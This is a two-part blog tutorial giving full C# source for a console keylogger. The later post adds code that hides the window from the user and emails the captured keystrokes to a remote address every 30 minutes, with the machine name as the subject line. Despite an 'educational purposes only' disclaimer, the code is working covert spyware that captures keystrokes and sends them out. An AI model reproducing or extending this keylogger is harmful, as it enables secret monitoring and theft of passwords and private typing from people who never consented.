About Me

Monday, May 7, 2012

Create a Console key logger using C# (part 2)


This post will describe how to make console window hide while capturing keystrokes and also how to retrieve captured keystrokes via email. Here I want to make notice, this program developed for educational purposes only and not for any illegal useJ.
Ok first you have to add more one more dllimport part to your code, which will help us to call ShowWindowAsync method to hide window after having access to main window’s pointer.
Here I made two threads one for capture keystrokes while other sends email at fixed time intervals. Rather talking mush I’ll add the code segment so you can figured it out.


using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Threading;
using System.Windows.Forms;
using System.Net.Mail;
using System.Net;
 
namespace KeyLogger
{
    class Program
    {
        [DllImport("user32.dll")]
        internal static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);
        [DllImport("user32.dll")]
        internal static extern int GetAsyncKeyState(Int32 i);
 
        internal static bool IsDebugging = false;
        internal static List<string> buffer = new List<string>();
        internal const int EmailTimeInterval = 30*60*1000;//min
 
        static void Main(string[] args)
        {
            //Handle
            if (args.Length > 0)
            {
                if (args.Length == 1)
                {
                    if (args[0].ToString().Equals("/d"))
                    {
                        IsDebugging = true;
                    }
                }
            }
 
            if (!IsDebugging)
            {
                IntPtr windowHandle = Process.GetCurrentProcess().MainWindowHandle;
                ShowWindowAsync(windowHandle, 0);
            }
 
            Thread loggingThread = new Thread(new ThreadStart(StartLogging));
            Thread communicationThread = new Thread(new ThreadStart(SendMail));
 
            loggingThread.Start();
            communicationThread.Start();
 
            StartLogging();
        }
 
        private static void StartLogging()
        {
            try
            {
                while (true)
                {
                    Thread.Sleep(10);
                    for (Int32 i = 0; i < 255; i++)
                    {
                        int keyState = GetAsyncKeyState(i);
                        if (keyState == 1 || keyState == -32767)
                        {
                            if (IsDebugging)
                            {
                                Console.WriteLine(((Keys)i) + ":" + DateTime.Now.ToString("H:mm:ss"));
                            }
                            else
                            {
                                buffer.Add(((Keys)i).ToString()+".");
                            }
                            break;
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                if (IsDebugging)
                {
                    MessageBox.Show(ex.Message);
                }
            }
        }
 
        private static void SendMail()
        {
 
            try
            {
                var fromAddress = new MailAddress("yourmail@gmail.com""from_name");
                var toAddress = new MailAddress("toaddress@gmail.com""to_name");
                const string fromPassword = "youpassword";
                string subject = System.Environment.MachineName.ToString();
                string body = "";
 
                var smtp = new SmtpClient
                {
                    Host = "smtp.gmail.com",
                    Port = 587,
                    EnableSsl = true,
                    DeliveryMethod = SmtpDeliveryMethod.Network,
                    UseDefaultCredentials = false,
                    Credentials = new NetworkCredential(fromAddress.Address, fromPassword)
                };                
 
                while (true)
                {
                    if (IsDebugging)
                    {
                        Thread.Sleep(2 * 60 * 1000);//2min
                    }
                    else
                    {
                        Thread.Sleep(EmailTimeInterval);
                    }
 
                    //construct body
                    int lowerBound = buffer.Count;//mark current count                    
                    for (int i = 0; i < lowerBound; i++)
                    {
                        body += buffer[i];
                    }
 
                    buffer.RemoveRange(0, lowerBound);
                    lowerBound = 0;
 
                    if (IsDebugging)
                    {
                        MessageBox.Show(body);
                    }
 
                    using (var message = new MailMessage(fromAddress, toAddress)
                    {
                        Subject = subject,
                        Body = body
                    })
                    {
                        smtp.Send(message);
                    }
                }
            }
            catch (Exception ex)
            {
                if (IsDebugging)
                {
                    MessageBox.Show(ex.ToString());
                }
            }
        }        
    }
}



Other than above you can debug this by sending argument /d like shown in main method.  I’ve add some buffer technique, where actually queue is being used. Once email ready to send buffer will be cleared up to the point considering thread interleaving. I’m not going to explain much about this here, think this approach would solve the problem. That’s it for now J

Sunday, May 6, 2012

Create a Console key logger using C#

Hi last few days I was trying to capture key strokes using C#, but could not find any way to capture keystrokes while the Console application was not focused. Apparently I found some C++ approach here . Oh that was so creepy to me since I’m more familiar with C#. I begin code myself to implement a key logger using C#. So here it is.
Start with adding new console project to your solution (I used Framework version 3.0). To make this easy I added reference to System.Windows.Froms where Keys enum resides.

And also need to add a DllImport to User32.dll which will help to know the current state of a particular key. So here is the Code segment.
using System;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;
 
namespace KeyLogger
{
    class Program
    {
        [DllImport("user32.dll")]
        public static extern int GetAsyncKeyState(Int32 i);
        static void Main(string[] args)
        {
            StartLogging();
        }
 
        static void StartLogging()
        {
            while (true)
            {
                //sleeping for while, this will reduce load on cpu
                Thread.Sleep(10);
                for (Int32 i = 0; i < 255; i++)
                {
                    int keyState = GetAsyncKeyState(i);
                    if (keyState == 1 || keyState == -32767)
                    {
                        Console.WriteLine((Keys)i);
                        break;
                    }
                }
            }
        }
    }
}

Testing with notepad

That’s it for now J I’ll post how to add few another enhancements like hiding console window so that no one can see it and how to log/retrieve key strokes without affecting much performance of the computer.